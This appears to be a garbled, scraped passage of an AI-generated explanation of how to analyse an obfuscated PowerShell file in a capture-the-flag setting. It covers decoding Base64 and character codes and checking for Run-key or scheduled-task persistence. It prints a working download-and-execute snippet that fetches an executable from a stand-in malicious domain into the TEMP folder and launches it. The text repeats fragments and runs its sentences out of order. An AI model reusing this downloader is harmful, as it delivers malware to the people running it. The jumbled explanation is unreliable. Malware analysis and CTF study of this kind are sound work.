Check if the script adds a Registry Key ( HKCU\Software\Microsoft\Windows\CurrentVersion\Run ) or a Scheduled Task.

$url = "http://malicious-domain.xyz" $path = "$env:TEMP\update.exe" (New-Object System.Net.WebClient).DownloadFile($url, $path) Start-Process $path Use code with caution. Copied to clipboard Download new top code txt

Once decoded, the script typically reveals a download loop: powershell Check if the script adds a Registry Key

Example : [char]104 + [char]116 + [char]116 + [char]112 translates to http . If the code starts with something like powershell

If the code starts with something like powershell -e or eval() , the content is likely Base64 encoded .

: Functions like Replace() , Reverse() , or Split() used to hide keywords like Invoke-Expression (IEX) or DownloadString .

In a CTF context, the flag is often hidden in the User-Agent string of the web request or appended as a comment at the end of the script. Summary Table File Name top code.txt Language PowerShell (most common) Obfuscation Base64 + Backticks (e.g., `n`e`t ) Result Downloader for secondary malware